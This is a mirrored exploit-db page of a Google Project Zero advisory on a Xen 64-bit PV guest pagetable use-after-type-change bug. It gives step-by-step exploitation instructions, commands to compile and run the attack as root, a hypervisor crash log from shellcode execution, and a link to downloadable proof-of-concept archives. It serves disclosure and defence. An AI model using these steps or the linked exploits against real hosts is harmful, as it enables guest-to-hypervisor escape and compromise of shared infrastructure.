Xen 64bit PV Guest – pagetable use-after-type-change Breakout

  • 作者: Google Security Research
    日期: 2017-05-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41973/
  • Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231
    
    This is a bug in Xen that permits an attacker with control over the
    kernel of a 64bit X86 PV guest to write arbitrary entries into a live
    top-level pagetable.
    
    To prevent PV guests from doing things like mapping live pagetables as
    writable, Xen assigns types to physical pages and tracks type-specific
    references with a reference counter ("type count", stored in the low
    bits of page->u.inuse.type_info).
    
    64-bit PV guests have multiple places in which the addresses of
    top-level pagetables are stored:
    
    arch.guest_table_user and arch.guest_table in the vcpu struct point to
    the pagetables the guest has designated as user-mode top-level
    pagetable and kernel-mode top-level pagetable. Both of these fields
    take a type-specific reference on the pagetable to prevent the guest
    from mapping it as writable.
    
    arch.cr3 in the vcpu struct points to the current top-level pagetable
    of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the
    physical CPU's CR3.
    arch.cr3 does not take an extra type-specific reference; it borrows
    the reference from either arch.guest_table_user or arch.guest_table.
    This means that whenever the field from which the reference is
    borrowed is updated, arch.cr3 (together with the physical CR3) must be
    updated as well.
    
    The guest can update arch.guest_table_user and arch.guest_table using
    __HYPERVISOR_mmuext_op with commands
    MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and
    MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these
    commands assume that when the hypercall is executed, arch.cr3 always
    equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates
    arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR
    handler doesn't touch arch.cr3.
    
    Hypercalls can only be executed from kernel context, so on hypercall
    entry, arch.cr3==arch.guest_table is indeed true. However, using the
    __HYPERVISOR_multicall hypercall, it is possible to execute the
    __HYPERVISOR_iret hypercall, which can switch the pagetables to user
    context, immediately followed by the __HYPERVISOR_mmuext_op hypercall
    before actually entering guest user context.
    
    
    This can be exploited from guest kernel context roughly as follows:
    
     - copy all entries from the top-level kernel pagetable over the
     top-level user pagetable (to make it possible for a post-iret
     hypercall to access guest kernel memory)
     - allocate a new page to be used later as top-level user pagetable,
     copy the contents of the current top-level user pagetable into it,
     remap it as readonly and pin it as a top-level pagetable
     - perform the following operations in a single multicall:
    - switch to user context using __HYPERVISOR_iret
    - change arch.guest_table_user to the new top-level user pagetable
    using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR
     - unpin the old top-level user pagetable
     - map the old top-level user pagetable as writable
     - write crafted entries into the old top-level user pagetable
    
    
    I have attached a proof of concept that corrupts the top-level
    pagetable entry that maps the hypervisor text, causing a host
    triplefault. I have tested the proof of concept in the following
    configurations:
    
    configuration 1:
    running inside VMware Workstation
    Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
    dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
    unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu
    
    configuration 2:
    running on a physical machine with Qubes OS 3.2 installed
    Xen version 4.6.4
    
    Compile the PoC with ./compile.sh, then run ./attack as root.
    
    PoC Filename: xen_ptuaf.tar 
    
    ################################################################################
    
    Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage:
    
    root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh
    make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
    LD/root/xen_ptuaf_hv_shellcode_exec/built-in.o
    CC [M]/root/xen_ptuaf_hv_shellcode_exec/module.o
    nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm
    LD [M]/root/xen_ptuaf_hv_shellcode_exec/test.o
    Building modules, stage 2.
    MODPOST 1 modules
    WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o
    CC/root/xen_ptuaf_hv_shellcode_exec/test.mod.o
    LD [M]/root/xen_ptuaf_hv_shellcode_exec/test.ko
    make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
    root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack
    kernel CR3: 0xaa2dd000
    L1 self-mapping is up, should have reliable pagetable control now
    virt_to_pte(0x7f5bd439a000)
    [ rest of output missing because of VM crash ]
    
    
    Serial output:
    
    (XEN) ----[ Xen-4.6.0x86_64debug=nTainted:C ]----
    (XEN) CPU:2
    (XEN) RIP:e008:[<00007f5bd439a03f>] 00007f5bd439a03f
    (XEN) RFLAGS: 0000000000010246 CONTEXT: hypervisor (d1v2)
    (XEN) rax: 1337133713371337 rbx: 1337133713371337 rcx: 1337133713371337
    (XEN) rdx: 1337133713371337 rsi: 00007ffe98b5e248 rdi: 0000600000003850
    (XEN) rbp: 1337133713371337 rsp: ffff8301abb37f30 r8:0000000000000000
    (XEN) r9:000000000000001b r10: 0000000000000000 r11: 0000000000000202
    (XEN) r12: 0000000080000000 r13: ffff8800026dd000 r14: ffff880003453c88
    (XEN) r15: 0000000000000007 cr0: 0000000080050033 cr4: 00000000001506a0
    (XEN) cr3: 00000000aa2dc000 cr2: ffff88007cfb2e98
    (XEN) ds: 0000 es: 0000 fs: 0000 gs: 0000 ss: 0000 cs: e008
    (XEN) Xen stack trace from rsp=ffff8301abb37f30:
    (XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
    (XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
    (XEN)1337133713371337 1337133713371337 1337133713371337 1337133713371337
    (XEN)1337133713371337 0000000000401556 000000000000e033 0000000000000246
    (XEN)00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000
    (XEN)0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000
    (XEN)000000312b835580 0000000000000000
    (XEN) Xen call trace:
    (XEN)[<00007f5bd439a03f>] 00007f5bd439a03f
    (XEN) 
    (XEN) 
    (XEN) ****************************************
    (XEN) Panic on CPU 2:
    (XEN) GENERAL PROTECTION FAULT
    (XEN) [error_code=0000]
    (XEN) ****************************************
    (XEN) 
    (XEN) Reboot in five seconds...
    
    PoC Filename: xen_ptuaf_hv_shellcode_exec.tar 
    
    
    Proofs of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip